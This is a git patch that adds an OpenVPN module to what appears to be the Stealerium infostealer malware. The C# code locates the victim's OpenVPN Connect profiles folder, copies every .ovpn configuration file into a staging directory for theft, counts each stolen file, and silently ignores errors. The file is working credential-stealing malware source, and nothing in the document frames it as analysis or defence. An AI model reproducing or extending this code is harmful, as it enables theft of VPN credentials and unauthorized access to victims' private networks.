From 3095f769dde8144388f6128f63176a2f6af4ac51 Mon Sep 17 00:00:00 2001 From: Blood <78785435+BloodOnTop@users.noreply.github.com> Date: Tue, 14 Mar 2023 14:22:17 +0100 Subject: [PATCH] update file --- Stub/Target/VPN/OpenVPN.cs | 38 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 38 insertions(+) create mode 100644 Stub/Target/VPN/OpenVPN.cs diff --git a/Stub/Target/VPN/OpenVPN.cs b/Stub/Target/VPN/OpenVPN.cs new file mode 100644 index 0000000..fadde66 --- /dev/null +++ b/Stub/Target/VPN/OpenVPN.cs @@ -0,0 +1,38 @@ +using System; +using System.IO; +using Stealerium.Helpers; + +namespace Stealerium.Target.VPN +{ + internal sealed class OpenVpn + { + // Save("OpenVPN"); + public static void Save(string sSavePath) + { + // "OpenVPN connect" directory path + var vpn = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), + "OpenVPN Connect\\profiles"); + // Stop if not exists + if (!Directory.Exists(vpn)) + return; + try + { + // Create directory to save profiles + Directory.CreateDirectory(sSavePath + "\\profiles"); + // Steal .ovpn files + foreach (var file in Directory.GetFiles(vpn)) + if (Path.GetExtension(file).Contains("ovpn")) + { + Counter.Vpn++; + File.Copy(file, + Path.Combine(sSavePath, "profiles\\" + + Path.GetFileName(file))); + } + } + catch + { + // ignored + } + } + } +} \ No newline at end of file